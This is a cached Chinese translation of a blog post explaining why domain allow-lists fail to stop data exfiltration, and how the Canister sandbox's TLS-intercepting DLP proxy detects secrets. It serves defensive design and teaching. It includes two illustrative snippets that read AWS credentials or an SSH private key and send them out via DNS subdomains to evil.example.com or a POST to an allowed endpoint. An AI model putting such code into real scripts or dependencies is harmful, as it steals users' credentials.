网络允许列表无法阻止数据窃取
摘要
网络允许列表不足以阻止通过授权通道(如DNS或允许的端点)进行数据窃取。Canister 是一个轻量级Linux沙箱,通过一个执行TLS拦截和数据丢失防护的第7层出口代理来解决这一问题。
<p><a href="https://lobste.rs/s/obnccl/network_allow_list_won_t_stop">评论</a></p>
查看缓存全文
缓存时间: 2026/05/24 08:55
# 网络白名单无法阻止数据渗漏——André Graf
来源:https://www.dergraf.org/notes/canister-egress-proxy-dlp/
假设你在沙箱中运行一段不受信任的代码——一个 AI 生成的脚本、某个依赖的 `postinstall` 钩子、或刚克隆的仓库中的构建步骤。你对它进行严格限制:禁止访问工作目录以外的文件系统,只允许网络连接到其合法需要的一个域名,禁止危险的系统调用。这能阻止大量恶意行为。
但这也存在一个盲点,而且是个大盲点。
我在构建 [Canister](https://github.com/dergraf/canister) 时遇到了这个问题。Canister 是一个轻量级、无特权的 Linux 沙箱——它堆叠了用户命名空间、seccomp 和网络隔离,以最少的权限(无需 root,无需容器运行时)运行不受信任的命令。但下面提到的盲点并非 Canister 独有。它适用于任何网络策略采用域名白名单的沙箱,而大多数沙箱正是如此。
## 网络白名单无法解决的问题
假设你正在运行一个 `npm install`,项目需要访问 `registry.npmjs.org`。你将这个域名添加到白名单中。安装运行了。一切正常。
但刚安装的依赖中包含以下代码:
```javascript
const dns = require('dns');
const secrets = require('fs').readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
const encoded = Buffer.from(secrets).toString('base64');
dns.resolve(`${encoded.substring(0, 60)}.evil.example.com`, () => {});
```
你的网络策略允许 DNS。该脚本通过 DNS 子域名查询泄露了你的 AWS 凭证。没有未经授权的连接。没有被屏蔽的域名。数据通过你明确允许的通道离开了。
再考虑一个构建脚本,它向一个允许的分析端点发送日志:
```python
import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log",
data={"log": base64.b64encode(token.encode()).decode()})
```
你的 SSH 私钥经过 base64 编码后,流向了你策略所允许的端点。沙箱履行了职责。网络过滤器也履行了职责。但秘密依然泄露了。
这就是网络层策略无法填补的缺口。威胁不仅来自未经授权的连接,也来自通过授权连接流出的数据。
## 近期的供应链背景
这并非理论问题。2025 年 11 月,[Shai-Hulud 蠕虫](https://thehackernews.com/2025/11/second-sha1-hulud-wave-affects-25000.html)(Sha1-Hulud)以第二波形式袭击了 npm 注册表,入侵了来自 Zapier、ENS Domains、PostHog 等数百个包。恶意软件在预安装阶段运行,安装了凭据扫描器,并将 GitHub 令牌、npm 令牌、AWS 密钥和 SSH 密钥泄露给攻击者控制的仓库。
大约在同一时间,[LiteLLM 项目](https://github.com/BerriAI/litellm/security/advisories)披露了 Python 生态系统中的多个严重漏洞,包括 SQL 注入、身份验证绕过和服务端模板注入,这些漏洞可被组合利用以窃取凭证。
这些并非孤立事件。这是一种模式:将包注册表作为凭据收集基础设施。白名单可以阻止未授权的域名,但无法区分合法的 API 调用和 HTTP 头中的编码秘密。
这正是具备数据防泄露(DLP)功能的 L7 出口代理所要解决的问题。
## 工作原理
沙箱的所有出站 TCP 连接都通过主机上运行的本地 HTTPS 代理进行。沙箱无法直接建立连接:一个 seccomp 监管程序——利用 `SECCOMP_USER_NOTIF`(这是内核特性,允许父进程审查沙箱发起的系统调用)——拦截 `connect()` 调用,除非进程连接到 `127.0.0.1:8080`(即代理),否则返回 `EPERM`。
代理负责处理:
1. **TLS 终止**。代理充当中间人 (MITM)。它终止客户端的 TLS 会话,检查明文的 HTTP 请求和响应,然后重新加密连接并向上游发送。
2. **策略执行**。在转发任何内容之前,代理会对照你的白名单检查目标。被屏蔽的域名返回 403。数据包不会离开主机。
3. **DNS 熵检查**。高熵子域名会触发警告或屏蔽。对 `aws-akiaiosfodnn7example.attacker.com` 的请求会被标记,因为子域名看起来像 base64 编码的数据。DLP 层将每个标签的熵归一化到该长度的最大值,并检测分块泄露模式。
4. **头部和 URI 扫描**。所有请求头部都会被扫描——没有一个允许检查的头部名称白名单。URI 会被检查是否嵌入了令牌。
5. **正文扫描**。请求和响应的正文会被缓存(有大小限制——超过阈值的请求返回 413),通过多层解码(base64、十六进制、百分比编码、JSON 转义、HTML 实体),解压缩(gzip、deflate、brotli、zstd),然后扫描秘密信息。
6. **响应扫描**。泄露凭证的 API 响应在到达沙箱进程之前就会被捕获。如果某个服务在错误消息中意外回显了令牌,该响应会被阻止。
处理流水线是:策略检查 → DNS 熵检查 → 头部扫描 → 正文扫描 → 转发上游 → 响应扫描 → 返回客户端。这是一个单一的强制决策点。如果检测到秘密,并且你在 `--strict` 模式下运行,请求会被阻止并记录。在 `--monitor` 模式下,请求被允许,但会记录警告并添加 `X-Canister-DLP-Warning` 头部。
## 哪些会被捕获
DLP 层包含以下检测器:
- **云提供商密钥**:AWS 访问密钥、GCP 服务账号密钥、Azure 连接字符串
- **版本控制令牌**:GitHub 个人访问令牌、GitLab 令牌
- **包注册表凭据**:npm 令牌、PyPI 令牌
- **API 密钥**:OpenAI、Anthropic、Google API 密钥、Stripe 密钥、Slack 令牌
- **数据库凭据**:Postgres 连接 URI(解析并检查用户名、密码、主机)
- **加密密钥**:SSH 私钥(RSA、Ed25519、ECDSA)、PKCS#8 私钥
- **高熵令牌**:通用 Bearer 令牌、JWT、任何看起来像秘密的高熵字符串
- **自定义蜜罐令牌**:在沙箱启动时注入已知的假秘密,验证它们是否被阻止
每个检测器都有一个主域范围。GitHub PAT 可以流向 `github.com` 或 `api.github.com`,但不能流向 `evil.example.com`。npm 令牌可以到达 `registry.npmjs.org`,但不能到达任意端点。你可以通过 `extra_scopes` 为每个配方扩展范围。
检测器列表基于单一的事实源注册表。添加新模式只需“在注册表中添加一项”,而不是“更新四个并行的列表并希望它们保持同步”。
## 抵抗规避能力
攻击者会对秘密进行编码以躲避模式匹配。DLP 层通过逆向解码链来处理这一问题。
**编码链:**扫描器会递归解码 base64、十六进制和百分比编码,最深可达 32 层。像 `%7B%22token%22%3A%22NjhkMzZhYjY4ZDM2YWI2OGQzNmFiNjhkMzZhYg%3D%3D%22%7D`(百分比编码的 JSON 包含 base64)这样的请求体会被解码为 `{"token":"68d36ab68d36ab68d36ab68d36ab"}` 并扫描。JSON 的 `\uXXXX` 转义(包括代理对)和 HTML 实体也会被解码。
**解压缩:**如果 `Content-Encoding` 头部指示 `gzip`,则正文会在扫描前解压缩。扫描器支持 gzip、deflate、brotli 和 zstd。它还会检测魔数——如果头部说 `text/plain` 但正文以 `1f 8b` 开头,则视为 gzip 并解压缩。不匹配会触发 DLP 规避警告。
**DNS 熵:**子域名按标签分割,计算每个标签的香农熵,并针对该标签长度的理论最大值进行归一化。高熵标签看起来像 base64 编码的数据。DNS 熵预算会跟踪每个沙箱会话的累计高熵字节,以捕获缓慢的逐字节泄露。一个奇怪的高熵 DNS 查询可能是合法的,但一千个就不是了。
**流式扫描器:**HTTP 分块传输编码可以将秘密分割到多个块边界。扫描器使用 256 字节的重叠窗口。处理第 N 个块时,它会重新扫描第 N-1 块的最后 256 字节与第 N 块的前 256 字节拼接后的内容。跨越块的秘密仍然会被捕获。
**片段感知解码:**嵌入在更大结构(JSON 对象、XML 文档、多部分表单数据)中的秘密会被提取并扫描。像 `{"user": "alice", "token": "ghp_AKIAIOSFODNN7EXAMPLE", "timestamp": 123}` 这样的 POST 正文不会逃避检测,因为扫描器会解析 JSON 并扫描每个值。
**脱敏处理:**匹配到的秘密永远不会出现在日志或结构化事件中。DLP 层会将其脱敏为 `first4•••••sha256[..8] (len=N)` 的形式。一个被阻止的 GitHub PAT 在日志中显示为 `ghp_•••••a3f2b7c9 (len=40)`。实际的令牌永远不会写入磁盘。
## 这能带来什么,不能带来什么
DLP 是第二道防线,而不是第一道。它不能替代审查代码或验证依赖,也不是像被拒绝的系统调用那样硬性的边界——它是在解码后的字节流上进行模式匹配,而模式匹配有其局限性。某些实现可能无法解开某些编码,而高熵检测无论阈值设在哪里,都会在误报和漏报之间权衡。
它真正能带来的是弥补网络层策略在结构上无法关闭的缺口:数据通过你授权的连接离开。白名单只考虑连接**去往哪里**,而 DLP 代理则考虑连接**内部有什么**。这是两个不同的问题,一个只回答第一个问题的沙箱会留下更有趣的那个问题不予解答。
无论具体实现如何,值得借鉴的设计要点包括:
- **先解码再扫描,并且递归解码**。攻击者会将编码嵌套,直到你停止解包;扫描器必须比他们多解一层。
- **在块和包边界上保持重叠窗口**,否则会错过跨两次读取分割的秘密。
- **将 DNS 视为泄露通道,而不仅仅是名称解析**。为每个会话跟踪累计高熵字节——一个奇怪的子域名是噪音,一千个就是载荷。
- **通过单一注册表驱动检测器**,这样添加一个模式只需一项,而不是四个逐渐不同步的并行列表。
- **在所有记录日志的地方对匹配内容进行脱敏**。一个将刚捕获的秘密写入日志的 DLP 层只是把泄露移了个地方。
需要坦诚说明一点:这些代码较新,仍在演进中。检测器注册表、编码链和熵阈值都是我在发现新的规避技巧时积极扩展的内容,我不会声称当前集合已经完备,也不会声称已找到所有通道。请将它视为一个我仍在强化的有前景的方向,而不是一个完成的保证。
具体实现是 [Canister](https://github.com/dergraf/canister)(Rust,Apache-2.0);DLP 架构在 [docs/DLP.md](https://github.com/dergraf/canister/blob/main/docs/DLP.md) 中有详细说明。如果你想了解我认为它仍然薄弱的地方,以及什么样的反馈最有帮助——尤其是试图让秘密绕过它的尝试——我在 [另一篇笔记](https://www.dergraf.org/notes/canister-an-invitation-to-break-it/) 中写了这些内容。
相似文章
@itsharmanjot: 防火墙无法阻止这一点。一位开发者刚刚开源了一个隧道,可通过端口53走私你的整个互联网……
一位开发者开源了MasterDnsVPN,这是一款通过DNS端口53创建加密隧道的工具,可绕过必须保持该端口开放的防火墙。它提供了可靠性、多个解析路径,并支持多种加密算法,充当免费的VPN替代方案。
@Fluyeporlaweb: 有一种互联网数据包,世界上没有任何防火墙能在不彻底破坏互联网的情况下将其屏蔽……
一款名为MasterDnsVPN的新型VPN将所有流量隐藏到端口53的DNS查询中,这使得防火墙极难在不干扰互联网的情况下进行屏蔽。它专为受限网络和审查严格的环境而设计。
@hwchase17: https://x.com/hwchase17/status/2057506580447510889
LangSmith 推出 Auth Proxy,用于保护代理沙箱的网络访问安全,避免凭据暴露在运行时中,并强制实施明确的网络访问策略。
masterking32/MasterDnsVPN
MasterDnsVPN 是一个开源的科学/研究项目,通过 DNS 查询和响应来隧道传输 TCP 流量,与 DNSTT 和 SlipStream 等同类工具相比,提供了多路径路由、ARQ 可靠性传输以及低协议开销等高级特性。
CSP 白名单实验
一个网页工具实验,展示了如何通过拦截 fetch 请求并提示用户将域名加入白名单,来处理沙箱 iframe 中的内容安全策略(CSP)错误。该工具通过 Codex 桌面应用使用 GPT-5.5 构建。